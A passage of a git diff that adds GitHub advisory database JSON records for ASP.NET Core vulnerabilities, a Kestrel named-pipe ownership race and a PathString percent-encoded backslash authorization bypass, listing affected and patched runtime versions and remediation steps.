11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.2.26159.112"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6vjv-7wm8-p67r/GHSA-6vjv-7wm8-p67r.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-6vjv-7wm8-p67r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114150"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/514"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70475"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114150"}],"database_specific":{"cwe_ids":["CWE-908"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:20:47Z","nvd_published_at":"2026-11-10T19:19:08Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-7phj-vgxq-r67h.json b/data/NuGet/GHSA-7phj-vgxq-r67h.json
new file mode 100644
index 0000000000..995cabee5d
--- /dev/null
+++ b/data/NuGet/GHSA-7phj-vgxq-r67h.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-7phj-vgxq-r67h","published":"2026-11-11T00:25:04Z","modified":"2026-11-11T00:30:10.088013949Z","aliases":["CVE-2026-114157"],"summary":"Microsoft Security Advisory CVE-2026-114157 - ASP.NET Core Security Feature Bypass Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core's Kestrel Named Pipes transport. This advisory provides guidance on updating affected applications and components.\n\nA Kestrel named-pipe listener configured with `CurrentUserOnly` can lose protected namespace ownership during recovery, allowing another local user to claim the pipe path.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/507\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O/RC:C`\n- **Weakness:** CWE-362\n- **MSRC severity:** Important\n- **Impact:** Security Feature Bypass\n\n## Affected Platforms\n\n- **Platforms:** Windows\n- **Architectures:** Arm64, x64, x86\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nMicrosoft.AspNetCore.Server.Kestrel.Transport.NamedPipes ships in the ASP.NET Core shared framework and runtime packs; it is not a separately packable NuGet package.\n\nAffected intervals and patched release versions are listed below.\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n\n### .NET 10.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\nThe .NET 11.0.0 release is fixed; affected prereleases are listed above.\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nReview Windows applications that use Kestrel's Named Pipes transport and identify their deployed ASP.NET Core versions. Compare deployed versions with the affected intervals above. Self-contained applications include their own framework; updating a machine-wide installation does not replace their embedded copies.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable ASP.NET Core runtime update and restart applications. Rebuild and redeploy affected self-contained applications with fixed runtime packs. An SDK update alone does not replace runtime or framework files already embedded in deployed applications. Use the patched version listed for the affected servicing line.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114157](https://www.cve.org/CVERecord?id=CVE-2026-114157)\n\n### Acknowledgements\n\n- Antonio Alonso-Stepanov\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7phj-vgxq-r67h/GHSA-7phj-vgxq-r67h.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-7phj-vgxq-r67h"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/507"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/671bb7f9c84e24153ac8440e4e6de307a6cbd920"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/a4ade6a6848f06681af1a57b5a7b555647d3e19d"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70472"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v9.0.23"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"}],"database_specific":{"cwe_ids":["CWE-362"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:25:04Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-8w29-6cjc-h6w4.json b/data/NuGet/GHSA-8w29-6cjc-h6w4.json
new file mode 100644
index 0000000000..c8d972a90c
--- /dev/null
+++ b/data/NuGet/GHSA-8w29-6cjc-h6w4.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-8w29-6cjc-h6w4","published":"2026-11-11T00:24:05Z","modified":"2026-11-11T00:30:10.090387958Z","aliases":["CVE-2026-114156"],"summary":"Microsoft Security Advisory CVE-2026-114156 - ASP.NET Core Security Feature Bypass Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\n`PathString.StartsWithSegments` can mishandle percent-encoded backslashes and permit authorization checks to match an unintended path.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/510\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Medium\n- **Score:** 6.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N/E:U/RL:O/RC:C`\n- **Weakness:** CWE-41\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114156](https://www.cve.org/CVERecord?id=CVE-2026-114156)\n\n### Acknowledgements\n\n- Anonymous\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 